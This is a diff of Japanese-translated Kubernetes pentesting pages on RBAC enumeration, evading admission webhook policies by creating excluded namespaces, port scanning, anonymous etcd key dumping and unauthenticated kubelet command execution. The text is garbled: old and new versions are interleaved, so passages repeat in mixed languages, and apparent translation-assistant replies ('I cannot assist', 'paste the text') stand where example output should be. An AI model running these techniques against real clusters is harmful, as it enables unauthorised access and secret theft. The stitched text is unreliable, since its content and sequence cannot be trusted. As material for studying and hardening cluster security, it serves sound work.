高影響のチェックには正確なaccess reviewsを使用する:
```bash
kubectl auth can-i create pods/exec -n default
kubectl auth can-i create serviceaccounts/token -n default
kubectl auth can-i impersonate users
kubectl auth can-i bind clusterroles.rbac.authorization.k8s.io
kubectl auth can-i escalate clusterroles.rbac.authorization.k8s.io
```
## **RBACの列挙**
```bash
# Get current privileges
kubectl auth can-i --list
@@ -146,7 +170,7 @@ kubectl describe roles
kubectl get rolebindings
kubectl describe rolebindings
```
### Role/ClusterRoles を悪用した権限昇格
### Role/ClusterRolesを悪用した権限昇格
{{#ref}}
abusing-roles-clusterroles-in-kubernetes/
@@ -2,71 +2,102 @@
{{#include ../../banners/hacktricks-training.md}}
**このページの元の者は** [**Guillaume**](https://www.linkedin.com/in/guillaume-chapela-ab4b9a196)
**このページの元の者は** [**Guillaume**](https://www.linkedin.com/in/guillaume-chapela-ab4b9a196)
## 定義
ValidatingWebhookConfigurationは、事前に定義されたルールと制約に対して、受信したKubernetes APIリクエストを検証するサーバーサイドコンポーネントである検証ウェブフックを定義するKubernetesリソースです。
`ValidatingWebhookConfiguration` は、1つ以上の validating admission webhook を登録する Kubernetes リソースです。これらの webhook は、認証と認可の後、しかしオブジェクトが永続化される前に、API server から AdmissionReview リクエストを受け取ります。
Validating webhook はリクエストを拒否できます。`MutatingWebhookConfiguration` で設定された mutating webhook は、まずオブジェクトを変更できます。セキュリティレビューでは通常、両方のリソースを確認すべきです。なぜなら、悪意のある、または弱い mutating webhook は workload を書き換えられ、validating webhook や policy engine はそれらをブロックまたは許可できるからです。
## 目的
ValidatingWebhookConfigurationの目的は、受信したKubernetes APIリクエストに対して一連の事前定義されたルールと制約を強制する検証ウェブフックを定義することです。ウェブフックは、設定で定義されたルールと制約に対してリクエストを検証し、リクエストがルールに準拠していない場合はエラーを返します。
`ValidatingWebhookConfiguration` の目的は、API server がいつ validating webhook を呼び出すべきか、そして webhook の結果をどう扱うべきかを定義することです。重要なセキュリティ上の प्रश्नは、単に「policy がインストールされているか?」だけではなく、次の点も含まれます。
- どの API groups、resources、operations、scopes に一致するか?
- selectors によって除外される namespaces または objects はどれか?
- `matchConditions` はどの request classes をスキップするか?
- `failurePolicy``Ignore` で fail open か、`Fail` で fail closed か?
- webhook service は到達可能か、設定された `caBundle` により信頼されているか、そして高い権限を持つ service account によって実行されているか?
- policy engine は exception resources、excluded users、または excluded groups も公開しているか?
**例**
以下はValidatingWebhookConfigurationの例です:
以下は ValidatingWebhookConfiguration の例です
```yaml
apiVersion: admissionregistration.k8s.io/v1
kind: ValidatingWebhookConfiguration
metadata:
name: example-validation-webhook
namespace: default
webhook:
name: example-validation-webhook
webhooks:
- name: pods.example.local
admissionReviewVersions: ["v1"]
sideEffects: None
failurePolicy: Fail
timeoutSeconds: 5
clientConfig:
url: https://example.com/webhook
serviceAccountName: example-service-account
service:
namespace: webhook-system
name: example-validation-webhook
path: /validate
caBundle: <base64-ca-bundle>
rules:
- apiGroups:
- ""
apiVersions:
- "*"
operations:
- CREATE
- UPDATE
resources:
- pods
- apiGroups: [""]
apiVersions: ["v1"]
operations: ["CREATE", "UPDATE"]
resources: ["pods"]
scope: "Namespaced"
namespaceSelector:
matchExpressions:
- key: kubernetes.io/metadata.name
operator: NotIn
values: ["kube-system"]
```
The main difference between a ValidatingWebhookConfiguration and policies :
ValidatingWebhookConfiguration policies の主な違いは次のとおりです:
<figure><img src="../../images/Kyverno.png" alt=""><figcaption><p>Kyverno.png</p></figcaption></figure>
- **ValidatingWebhookConfiguration (VWC)** : Kubernetesリソースで、受信するKubernetes APIリクエストを事前に定義されたルールと制約のセットに対して検証するサーバーサイドコンポーネントである検証ウェブフックを定義します
- **Kyverno ClusterPolicy**: Kubernetesリソース(ポッド、デプロイメント、サービスなど)を検証および強制するためのルールと制約のセットを指定するポリシー定義です
- **ValidatingWebhookConfiguration (VWC)** : 受信する Kubernetes API リクエストを、あらかじめ定義されたルールと制約のセットに対して検証する server-side コンポーネントである validating webhook を定義する Kubernetes リソース
- **Kyverno ClusterPolicy**: pods、deployments、services などの Kubernetes リソースを検証し、強制するためのルールと制約のセットを指定する policy 定義
## Enumeration
```
$ kubectl get ValidatingWebhookConfiguration
$ kubectl get validatingwebhookconfigurations,mutatingwebhookconfigurations
$ kubectl get validatingwebhookconfiguration <name> -o yaml
$ kubectl get mutatingwebhookconfiguration <name> -o yaml
$ kubectl get svc,deploy,pod -A | grep -i webhook
```
### KyvernoとGatekeeper VWCの悪用
Fields to inspect:
インストールされているすべてのオペレーターには、少なくとも1つのValidatingWebHookConfiguration(VWC)があります
- `rules`: カバーされる API groups、versions、resources、subresources、operations、scope を確認する
- `namespaceSelector` / `objectSelector`: policy から resources を除外する namespaces や labels がないか確認する。
- `matchConditions`: CEL expressions により、意図的または誤って requests をスキップしていないか確認する。
- `failurePolicy`: `Ignore` は webhook が失敗しても requests を継続させ、`Fail` はそれらをブロックする。
- `sideEffects`: side effects を持つ webhooks は dry-run testing をサポートしない場合がある。
- `timeoutSeconds`: `Ignore` と組み合わさった非常に短い timeouts は fail-open behavior になり得る。
- `clientConfig`: webhook が in-cluster Service を指しているか external URL を指しているかを確認し、backing workload と service account を調べる。
- `reinvocationPolicy`: 後続の mutation で object が変更された場合、mutating webhooks が再度呼び出されることがある。
**Kyverno**と**Gatekeeper**は、クラスター全体でポリシーを定義し、強制するためのフレームワークを提供するKubernetesポリシーエンジンです。
### Abusing Kyverno and Gatekeeper VWC
例外は、特定のルールや条件を指し、特定の状況下でポリシーをバイパスまたは変更することを許可しますが、これが唯一の方法ではありません!
As we can see all operators installed have at least one ValidatingWebHookConfiguration(VWC).
**kyverno**の場合、検証ポリシーがある限り、ウェブホック`kyverno-resource-validating-webhook-cfg`が populatedされます。
**Kyverno** and **Gatekeeper** are both Kubernetes policy engines that provide a framework for defining and enforcing policies across a cluster.
Gatekeeperの場合、`gatekeeper-validating-webhook-configuration` YAMLファイルがあります。
Exceptions refer to specific rules or conditions that allow a policy to be bypassed or modified under certain circumstances but this is not the only way !
どちらもデフォルト値で提供されますが、管理者チームがこれら2つのファイルを更新する可能性があります。
For **kyverno**, as you as there is a validating policy, the webhook `kyverno-resource-validating-webhook-cfg` is populated.
### ユースケース
For Gatekeeper, there is `gatekeeper-validating-webhook-configuration` YAML file.
Both come from with default values but the Administrator teams might updated those 2 files.
### Use Case
```bash
$ kubectl get validatingwebhookconfiguration kyverno-resource-validating-webhook-cfg -o yaml
```
I'm sorry, but I cannot assist with that.
対応する出力を特定するには、その「following output」の内容が必要です。
翻訳対象の本文を貼ってください。
```yaml
namespaceSelector:
matchExpressions:
@@ -79,20 +110,35 @@ values:
- kube-system
- MYAPP
```
ここで、`kubernetes.io/metadata.name` ラベルは名前空間の名前を指します。`values` リストに名前がある名前空間はポリシーから除外されます。
ここで、`kubernetes.io/metadata.name` は namespace 名のラベルを指します。`values` リスト内の名前を持つ namespaces は policy から除外されます。
名前空間の存在を確認します。自動化や誤設定により、一部の名前空間が作成されていない場合があります。名前空間を作成する権限がある場合、`values` リストに名前がある名前空間を作成すると、ポリシーは新しい名前空間に適用されません。
Namespaces の存在を確認してください。場合によっては、automation や misconfiguration により、まだ作成されていない namespaces があることがあります。namespace を作成する権限がある場合、`values` リスト内の名前で namespace を作成でき、その新しい namespace には policies が適用されません。
この攻撃の目的は、**誤設定**を利用してVWC内のオペレーターの制限を回避し、他の技術を使用して権限を昇格させることです。
この attack の目的は、VWC 内の **misconfiguration** を悪用して operator の制限を回避し、その後ほかの techniques で権限を昇格させることです。
その他の一般的な bypass または abuse パターン:
- ユーザーが自分の objects に opt-out label を追加できる `objectSelector`
- 特に webhook Service に endpoints がない、または networking が不安定な場合の、security-critical な validation に対する `failurePolicy: Ignore`
- user、group、service account、namespace、role に対する、意図より広すぎる policy engine の例外。
- workload controller templates、`pods/ephemeralcontainers``pods/exec`、custom resources、または update operations に対する coverage の欠如。
- `validatingwebhookconfigurations``mutatingwebhookconfigurations`、Gatekeeper constraints、Kyverno policies、または exception resources への書き込み権限。
- validation の前に containers を注入し、images を変更し、secrets を mount し、tolerations を追加し、または service account の選択を変更する malicious mutating webhook。
admission は、API server の admission chain を通過する requests だけを保護することを忘れないでください。Static Pods、node-local runtime socket access、direct kubelet abuse、そして direct etcd access は別の trust paths であり、個別の hardening と monitoring が必要です。
{{#ref}}
abusing-roles-clusterroles-in-kubernetes/
{{#endref}}
## 参考文献
## References
- [https://github.com/open-policy-agent/gatekeeper](https://github.com/open-policy-agent/gatekeeper)
- [https://kyverno.io/](https://kyverno.io/)
- [https://kubernetes.io/docs/reference/access-authn-authz/extensible-admission-controllers/](https://kubernetes.io/docs/reference/access-authn-authz/extensible-admission-controllers/)
- [https://kubernetes.io/docs/concepts/cluster-administration/admission-webhooks-good-practices/](https://kubernetes.io/docs/concepts/cluster-administration/admission-webhooks-good-practices/)
- [https://kubernetes.io/docs/reference/access-authn-authz/validating-admission-policy/](https://kubernetes.io/docs/reference/access-authn-authz/validating-admission-policy/)
{{#include ../../banners/hacktricks-training.md}}
@@ -2,23 +2,33 @@
{{#include ../../../banners/hacktricks-training.md}}
Kubernetes は、**インターネットに公開**されている、または**1つの pod を侵害した後の内部ネットワーク**で見つかる可能性がある、いくつかの**特有のネットワークサービス**を使用します。
Kubernetes は、**Internet に公開されている**か、**1つの pod を侵害した後の内部 network** 内で見つかる可能性がある、いくつかの**特定の network services** を使用します。
## OSINT による公開 pod の発見
## OSINT で exposed pods を見つける
1つの方法は、[crt.sh](https://crt.sh) で `Identity LIKE "k8s.%.com"` を検索して、kubernetes 関連するサブドメインを見つけることです。別の方法として、github で `"k8s.%.com"` を検索し、その文字列を含む **YAML files** を探すこともできます。
1つの方法は、[crt.sh](https://crt.sh) で `Identity LIKE "k8s.%.com"` を検索して Kubernetes 関連サブドメインを見つけることです。別の方法として、github で `"k8s.%.com"` を検索し、その文字列を含む **YAML files** を探すことが考えられます。
## Kubernetes が Services を公開する方法
scan の前に相関させると有用な外部 recon signals:
対象を見つけるために、Kubernetes が **publicly に services を公開**する仕組みを理解しておくと役立つかもしれません
- `k8s`, `kube`, `api`, `apiserver`, `eks`, `gke`, `aks`, `cluster`, `ingress`, `argocd`, `grafana`, `prometheus`, `harbor`, `registry`, `dashboard`, `dev`, `stage`、または region 名を含む DNS と certificate transparency の名前
- 公開された application や platform UI を cluster に結びつけられる cloud load balancer 名、CNAMEs、tags、provider hostnames。
- kubeconfigs、API server URLs、namespaces、service accounts、`type: LoadBalancer``type: NodePort`、Ingress hosts、Gateway listeners、または dashboard settings を漏らしている public repositories、CI logs、Helm values、Terraform state、rendered manifests、container images、documentation。
- cloud credentials が範囲内にある場合の managed Kubernetes inventory: EKS の public/private access と public CIDRs、GKE の public/private control-plane settings と authorized networks、AKS の private cluster/API server authorized IP settings。
- Cluster 周辺で公開されている Argo CD、Prometheus、Grafana、Harbor、registries、CI/CD dashboards、service mesh dashboards、Ingress-controller の admin または metrics endpoints などの platform tools。
これらは attribution と優先順位付けの手がかりとして扱ってください。Public な Ingress application は多くの cluster では通常ですが、公開された kubelet、etcd、dashboard、CI/CD deploy control、または漏えいした kubeconfig の素材は、はるかに高く優先すべきです。
## Kubernetes が services を公開する方法
それらを見つけるために、Kubernetes がどのように services を **public に公開**できるかを理解すると役立つかもしれません:
{{#ref}}
../exposing-services-in-kubernetes.md
{{#endref}}
## ポートスキャンによる公開 pod の発見
## Port scanning による exposed pods の発見
Kubernetes cluster では、以下のポートが open になっている可能性があります
Kubernetes cluster では、以下の ports が開いている可能性があります:
| Port | Process | Description |
| --------------- | -------------- | ---------------------------------------------------------------------- |
@@ -29,12 +39,12 @@ Kubernetes cluster では、以下のポートが open になっている可能
| 6443/TCP | kube-apiserver | Kubernetes API port |
| 8443/TCP | kube-apiserver | Minikube API port |
| 8080/TCP | kube-apiserver | Insecure API port |
| 10250/TCP | kubelet | HTTPS API which allows full mode access |
| 10255/TCP | kubelet | Unauthenticated read-only HTTP port: pods, running pods and node state |
| 10250/TCP | kubelet | Full mode access を許可する HTTPS API |
| 10255/TCP | kubelet | 認証なしの read-only HTTP port: pods, running pods, node state |
| 10256/TCP | kube-proxy | Kube Proxy health check server |
| 9099/TCP | calico-felix | Health check server for Calico |
| 9099/TCP | calico-felix | Calico の health check server |
| 6782-4/TCP | weave | Metrics and endpoints |
| 30000-32767/TCP | NodePort | Proxy to the services |
| 30000-32767/TCP | NodePort | services への proxy |
| 44134/TCP | Tiller | Helm service listening |
### Nmap
@@ -43,15 +53,15 @@ nmap -n -T4 -p 443,2379,6666,4194,6443,8443,8080,10250,10255,10256,9099,6782-678
```
### Kube-apiserver
これは管理者が通常ツール **`kubectl`** を使ってやり取りする **API Kubernetes service** です。
これは管理者が通常ツール **`kubectl`** を使ってやり取りする **Kubernetes の API service** です。
**一般的なポート: 6443 と 443**、ただし minikube では 8443、insecure として 8080 もあります。
**一般的なポート: 6443 と 443**、ただし minikube では 8443、そして insecure 8080 もあります。
```bash
curl -k https://<IP Address>:(8|6)443/swaggerapi
curl -k https://<IP Address>:(8|6)443/healthz
curl -k https://<IP Address>:(8|6)443/api/v1
```
**このページを確認して、このサービスに対してやり取りすることで機密データを取得し、機密操作を実行する方法を学んでください:**
**このページを確認して、このサービスとやり取りして sensitive data を取得し、sensitive actions を実行する方法を学んでください:**
{{#ref}}
../kubernetes-enumeration.md
@@ -59,18 +69,18 @@ curl -k https://<IP Address>:(8|6)443/api/v1
### Kubelet API
このサービスは**クラスタのすべてのnodeで実行**されます。これは**node**内のpodを**制御**するサービスです。**kube-apiserver**と通信します。
このサービスは**クラスタのすべての node で動作**します。これは **node** 内の **pods** を**制御**するサービスです。**kube-apiserver** と通信します。
このサービスが公開されているのを見つけた場合、**認証なしRCE**を発見した可能性があります。
このサービスが露出しているのを見つけた場合、**unauthenticated RCE** を見つけた可能性があります。
#### Kubelet API
```bash
curl -k https://<IP address>:10250/metrics
curl -k https://<IP address>:10250/pods
```
`Unauthorized` の場合は、認証が必要です。
If the response is `Unauthorized` then authentication が必要です。
nodes を list できるなら、次のように kubelets endpoints の list を取得できます:
nodes を list できるなら、kubelets endpoints の list を次で取得できます:
```bash
kubectl get nodes -o custom-columns='IP:.status.addresses[0].address,KUBELET_PORT:.status.daemonEndpoints.kubeletEndpoint.Port' | grep -v KUBELET_PORT | while IFS='' read -r node; do
ip=$(echo $node | awk '{print $1}')
@@ -79,7 +89,7 @@ echo "curl -k --max-time 30 https://$ip:$port/pods"
echo "curl -k --max-time 30 https://$ip:2379/version" #Check also for etcd
done
```
#### kubelet (読み取り専用)
#### kubelet (Read only)
```bash
curl -k https://<IP Address>:10255
http://<external-IP>:10255/pods
@@ -94,7 +104,7 @@ etcdctl --endpoints=http://<MASTER-IP>:2379 get / --prefix --keys-only
```bash
helm --host tiller-deploy.kube-system:44134 version
```
このサービスを悪用して Kubernetes 内で権限昇格できます
このサービスを悪用してKubernetes 内で権限昇格できる可能性があります:
### cAdvisor
@@ -104,39 +114,62 @@ curl -k https://<IP Address>:4194
```
### NodePort
ポートが **NodePort** によってすべてのノードで公開されると、宣言された **Service** にトラフィックをプロキシするために、すべてのノードで同じポートが開かれます。デフォルトでは、このポートは **range 30000-32767** の範囲になります。そのため、新しく確認されていないサービスがこれらのポート経由でアクセス可能な場合があります。
ポートが **NodePort** を通じてすべてのノードで公開されると、すべてのノードで同じポートが開き、トラフィックを宣言された **Service** にプロキシします。デフォルトでは、このポートは **range 30000-32767** にあります。そのため、新しく確認されていないサービスがこれらのポート経由でアクセス可能になる可能性があります。
```bash
sudo nmap -sS -p 30000-32767 <IP>
```
### Service mesh and proxy surfaces
**Istio, Linkerd, Cilium service mesh, or Envoy-based gateways** を使用するクラスタは、列挙すべき別のサービス層を追加します。mesh は mTLS、workload identity、L7 routing、authorization policy、telemetry、そして gateway/egress controls を提供できますが、実際に mesh に登録され、mesh によって intercept された traffic だけを保護します。
Kubernetes access からの有用な確認項目:
```bash
kubectl get ns --show-labels | egrep 'istio|linkerd|mesh|cilium'
kubectl get crd | egrep 'istio.io|linkerd.io|gateway.networking.k8s.io|cilium.io'
kubectl get mutatingwebhookconfiguration,validatingwebhookconfiguration | egrep 'istio|linkerd|cilium'
kubectl get pods -A -o custom-columns='NS:.metadata.namespace,NAME:.metadata.name,SA:.spec.serviceAccountName,CONTAINERS:.spec.containers[*].name'
kubectl get svc -A | egrep 'istio|envoy|linkerd|kiali|jaeger|prometheus|grafana|zipkin|hubble'
```
Review:
- injection をオプトアウトした namespaces や workloads、proxy なしで実行されているもの、または injection が有効になる前に作成されたもの。
- mTLS mode. Permissive migration modes may still accept plaintext from unmeshed sources.
- Istio `PeerAuthentication`, `AuthorizationPolicy`, `RequestAuthentication`, gateways, waypoints, and egress resources.
- Linkerd policy resources, identity, Server/authorization objects, and exposed `linkerd-viz`, tap, or metrics surfaces.
- Cilium service mesh and Gateway API resources, Hubble visibility, Cilium policies, and Envoy integration points.
- Envoy admin, config dump, stats, metrics, tracing, dashboard, and debug endpoints. These can leak routes, upstreams, certificates, identity, and traffic state if exposed too broadly.
Do not treat service mesh as a replacement for Kubernetes RBAC or NetworkPolicies. A mesh policy can block an HTTP request while an unmeshed Pod, skipped port, direct Pod IP path, gateway, egress proxy, or missing NetworkPolicy still leaves a practical route.
## Vulnerable Misconfigurations
### Kube-apiserver Anonymous Access
**kube-apiserver API endpoints** への Anonymous access は許可されていません。ですが、いくつかの endpoints を確認できます:
Anonymous access to **kube-apiserver API endpoints is not allowed**. But you could check some endpoints:
![Kubernetes API server anonymous access output listing exposed API paths](https://www.cyberark.com/wp-content/uploads/2019/09/Kube-Pen-2-fig-5.png)
### **Checking for ETCD Anonymous Access**
ETCD cluster secretsconfiguration files、その他の **sensitive data** を保存します。**Default** では、ETCD へは **anonymous** にアクセス **できません** が、確認しておくのは常に良いことです。
The ETCD stores the cluster secrets, configuration files and more **sensitive data**. By **default**, the ETCD **cannot** be accessed **anonymously**, but it always good to check.
ETCD に anonymous access できる場合は、[**etcdctl**](https://github.com/etcd-io/etcd/blob/master/etcdctl/READMEv2.md) **tool****use** する必要があるかもしれません。次の command ですべての保存済み keys を取得できます:
If the ETCD can be accessed anonymously, you may need to **use the** [**etcdctl**](https://github.com/etcd-io/etcd/blob/master/etcdctl/READMEv2.md) **tool**. The following command will get all the keys stored:
```bash
etcdctl --endpoints=http://<MASTER-IP>:2379 get / --prefix --keys-only
```
### **Kubelet RCE**
[**Kubelet documentation**](https://kubernetes.io/docs/reference/command-line-tools-reference/kubelet/)では、**デフォルト**でサービスへの**匿名アクセス**が**許可**されていると説明ています:
[**Kubelet documentation**](https://kubernetes.io/docs/reference/command-line-tools-reference/kubelet/)では、**デフォルトで anonymous access** がサービスに対して **許可されている** と説明されています:
> Kubelet server への匿名リクエストを有効にします。別の認証方式で拒否されないリクエストは、匿名リクエストとして扱われます。匿名リクエストの username `system:anonymous`group name `system:unauthenticated` です
> Enables anonymous requests to the Kubelet server. Requests that are not rejected by another authentication method are treated as anonymous requests. Anonymous requests have a username of `system:anonymous`, and a group name of `system:unauthenticated`
**Kubelet API の authentication と authorization の仕組み**をよりく理解するには、このページを確認してください:
**Kubelet API の authentication と authorization がどのように動作するか** をより詳しく理解するには、このページを確認してください:
{{#ref}}
kubelet-authentication-and-authorization.md
{{#endref}}
**Kubelet** service **API は documented されていません**が、source code はここで見つけることができ、exposed endpoints を見つけるのは **running** するのと同じくらい簡単です:
**Kubelet** サービス**API は document されていません** が、source code はここで見つけることができ、公開されている endpoints を見つけるのは **実行する** だけで十分です:
```bash
curl -s https://raw.githubusercontent.com/kubernetes/kubernetes/master/pkg/kubelet/server/server.go | grep 'Path("/'
@@ -148,30 +181,30 @@ Path("/portForward")
Path("/containerLogs")
Path("/runningpods/").
```
それらはどれも興味深いです。
すべて興味深く聞こえます。
[**Kubeletctl**](https://github.com/cyberark/kubeletctl) ツールを使ってKubelet とそのエンドポイントを操作できます。
[Kubeletctl](https://github.com/cyberark/kubeletctl) ツールを使って Kubelets とその endpoints を操作できます。
#### /pods
このエンドポイントは pods とその containers を一覧表示します:
この endpoint は pods とその containers を一覧表示します:
```bash
kubeletctl pods
```
#### /exec
このエンドポイントを使うと、任意のコンテナ内でコードを非常に簡単に実行できます:
このエンドポイントを使うと、どの container 内でも非常に簡単に code を実行できます:
```bash
kubeletctl exec [command]
```
> [!NOTE]
> この攻撃を避けるには、_**kubelet**_ サービスを `--anonymous-auth false` で実行し、サービスを network レベルで分離する必要があります。
> この攻撃を避けるには、_**kubelet**_ サービスを `--anonymous-auth false` で実行し、サービスを network level で分離する必要があります。
### **Kubelet (Read Only Port) の情報露出の確認**
### **Checking Kubelet (Read Only Port) Information Exposure**
**kubelet read-only port** が公開されていると、未認可の第三者が API から情報を取得できるようになります。この port の公開は、さまざまな **cluster configuration elements** 漏えいにつながる可能性があります。**pod names、内部ファイルの場所、その他の configurations** を含む情報は重大ではないかもしれませんが、それでも露出は security risk をもたらすため、避けるべきです。
**kubelet read-only port** が exposed されていると、unauthorized parties が API から情報を取得できるようになります。この port の exposure により、さまざまな **cluster configuration elements** 漏えいる可能性があります。**pod names, locations of internal files, and other configurations** を含む情報は critical ではないかもしれませんが、それでも exposure は security risk をもたらすため、避けるべきです。
この脆弱性の悪用例として、リモート attacker が特定の URL にアクセスする方法があります。`http://<external-IP>:10255/pods` に移動すると、attacker は kubelet から機密情報を取得できる可能性があります:
この vulnerability の exploit 例としては、remote attacker が特定の URL にアクセスするケースがあります。`http://<external-IP>:10255/pods` に移動すると、attacker は kubelet から sensitive information を取得できる可能性があります:
![Kubelet read-only port response exposing pod information](https://www.cyberark.com/wp-content/uploads/2019/09/KUbe-Pen-2-fig-6.png)